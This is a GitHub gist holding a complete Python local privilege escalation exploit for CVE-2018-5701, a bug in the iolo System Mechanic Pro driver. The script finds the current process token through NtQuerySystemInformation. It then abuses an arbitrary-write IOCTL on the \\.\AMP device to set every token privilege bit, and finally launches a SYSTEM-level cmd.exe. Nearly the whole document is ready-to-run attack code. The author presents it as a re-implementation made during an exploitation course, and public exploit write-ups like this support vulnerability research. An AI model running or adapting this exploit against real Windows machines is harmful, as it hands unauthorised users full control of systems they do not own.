Skip to content

Instantly share code, notes, and snippets.

@klezVirus
Last active June 1, 2021 20:01
Show Gist options
  • Save klezVirus/e69c1e745a789e4b5d2b3c7ed02da765 to your computer and use it in GitHub Desktop.
Save klezVirus/e69c1e745a789e4b5d2b3c7ed02da765 to your computer and use it in GitHub Desktop.
CVE-2018-5701: iolo System Mechanic Pro Local Privilege Escalation
# Exploit title: iolo System Mechanic Pro v. <= 15.5.0.61 - Arbitrary Write Local Privilege Escalation (LPE)
# Exploit Authors: d3adc0de
# CVE: CVE-2018-5701
# Date: 01/06/2021
# Vendor Homepage: https://www.iolo.com/
# Download: https://www.iolo.com/products/system-mechanic-ultimate-defense/
# https://mega.nz/file/xJgz0QYA#zy0ynELGQG8L_VAFKQeTOK3b6hp4dka7QWKWal9Lo6E
# Version: v.15.5.0.61
# Tested on: Windows 10 Pro x64 v.1903 Build 18362.30
# Category: local exploit
# Platform: windows
# This is a re-implementation of the LPE exploit for the System Mechanic Driver,
# developed during the amazing Windows Kernel Exploitation Advanced course
# A great thanks to Ashfaq (@HackSysTeam) for the course, it was amazing!
import sys
import binascii
import struct
import os
from ctypes import *
from ctypes.wintypes import *
kernel32 = windll.kernel32
ntdll = windll.ntdll
OpenProcessToken = windll.advapi32.OpenProcessToken
SystemExtendedHandleInformation = 64
NTSTATUS = DWORD
PHANDLE = POINTER(HANDLE)
PVOID = LPVOID = ULONG_PTR = c_void_p
UINT32 = c_uint32
DEVICE_NAME = "\\\\.\\AMP"
ntdll.NtQuerySystemInformation.argtypes = [DWORD, PVOID, ULONG, POINTER(ULONG)]
ntdll.NtQuerySystemInformation.restype = NTSTATUS
OpenProcessToken.argtypes = [HANDLE, DWORD , PHANDLE]
OpenProcessToken.restype = BOOL
class WriteWhatWhere(Structure):
# Misleading, we can only write 0xfffffffe in the address of "Where"
_fields_ = [
("Header", UINT32),
("Trigger", PVOID),
("Where", PVOID)
]
class SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure):
_fields_ = [
("Object", PVOID),
("UniqueProcessId", PVOID),
("HandleValue", PVOID),
("GrantedAccess", ULONG),
("CreatorBackTraceIndex", USHORT),
("ObjectTypeIndex", USHORT),
("HandleAttributes", ULONG),
("Reserved", ULONG),
]
class SYSTEM_HANDLE_INFORMATION_EX(Structure):
_fields_ = [
("NumberOfHandles", PVOID),
("Reserved", PVOID),
("Handles", SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * 1),
]
def close_handle(handle):
kernel32.CloseHandle(handle)
def get_token_by(target_pid, data, _filter=None):
header = cast(data, POINTER(SYSTEM_HANDLE_INFORMATION_EX))
print('[+] Searching access token address')
data = bytearray(data[16:])
current_entry = 0
address = None
while current_entry < header[0].NumberOfHandles:
address, pid, handle = struct.unpack('<QQQ', data[:24])
data = data[40:]
current_entry += 1
if pid != target_pid:
continue
if _filter and handle != _filter.value:
continue
break # Found
return address
def get_token_address():
status_info_length_mismatch = 0xC0000004
token_query = 8
current_process_handle = HANDLE(kernel32.GetCurrentProcess())
pid = kernel32.GetCurrentProcessId()
print('[+] Current Process PID: ' + str(pid))
p_handle = HANDLE()
if OpenProcessToken(current_process_handle, token_query, byref(p_handle)) == 0:
print('[-] Error getting token handle: ' + str(kernel32.GetLastError()))
sys.exit(1)
print('[+] Found token handle at: {:08x}'.format(p_handle.value))
nt_status = status_info_length_mismatch
return_length = DWORD(0)
system_information_length = 0
handle_info = (c_ubyte * system_information_length)()
while nt_status == status_info_length_mismatch:
system_information_length += 0x1000
handle_info = (c_ubyte * system_information_length)()
nt_status = ntdll.NtQuerySystemInformation(
SystemExtendedHandleInformation,
byref(handle_info),
system_information_length,
byref(return_length)
)
token = get_token_by(pid, handle_info, _filter=p_handle)
if token is None:
print('[-] Error fetching token address')
sys.exit(1)
print('[+] Found token at {:08x}'.format(token))
return token
def write(where):
global device_handle
bytes_returned = c_ulong()
ioctl_arbitrary_overwrite = 0x226003
user_data = c_buffer(32)
user_data_p = addressof(user_data) + 32
write_what_where = WriteWhatWhere()
# Must be eight or we won't reach the vulnerable function
write_what_where.Header = 0x8
# Pointer to userland buffer
write_what_where.Trigger = user_data_p
# Pointer to overwrite with 0xfffffffe
write_what_where.Where = where
www = binascii.hexlify(bytes(bytearray(write_what_where)))
print("[+] Write what where structure")
print(" [>] Full structure: {}".format(b' '.join([www[i:i + 16] for i in range(0, 48, 16)])))
print(" [>] What : 0xfffffffe")
print(" [>] Where: {:08x}".format(write_what_where.Where))
success = kernel32.DeviceIoControl(
device_handle,
ioctl_arbitrary_overwrite,
byref(write_what_where),
sizeof(write_what_where),
0,
0,
byref(bytes_returned),
None
)
if not success:
print(" [-] Unable To Send DeviceIoControl")
return
def exploit(device_handle):
"""
# System privileges
nt!_SEP_TOKEN_PRIVILEGES
+0x000 Present : 0x0000001f`f2ffffbc
+0x008 Enabled : 0x0000001e`60b1e890
+0x010 EnabledByDefault : 0x0000001e`60b1e890
"""
token = get_token_address()
if token is None: sys.exit(-1)
# NOTE: We add +1 to ensure that the low bytes are 0xff.
for offset in [0x40, 0x48, 0x50]:
write(token + offset + 1)
print('[+] Success! You should have a system shell.')
print('[+] Check your privileges: !token {:08x}'.format(token))
os.system('cmd.exe')
def get_device_handle(device):
open_existing = 0x3
generic_read = 0x80000000
generic_write = 0x40000000
kernel32.CreateFileA.restype = error_if_zero
handle = kernel32.CreateFileA(
device,
generic_read | generic_write,
None,
None,
open_existing,
None,
None
)
if not handle or handle == -1:
print("\t[-] Unable to get device handle")
sys.exit(-1)
else:
print('[+] Got Driver Handle: ' + str(handle))
return handle
def error_if_zero(handle):
if handle == 0:
raise WinError()
else:
return handle
if __name__ == "__main__":
global device_handle
device_handle = get_device_handle(DEVICE_NAME)
exploit(device_handle)
close_handle(device_handle)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment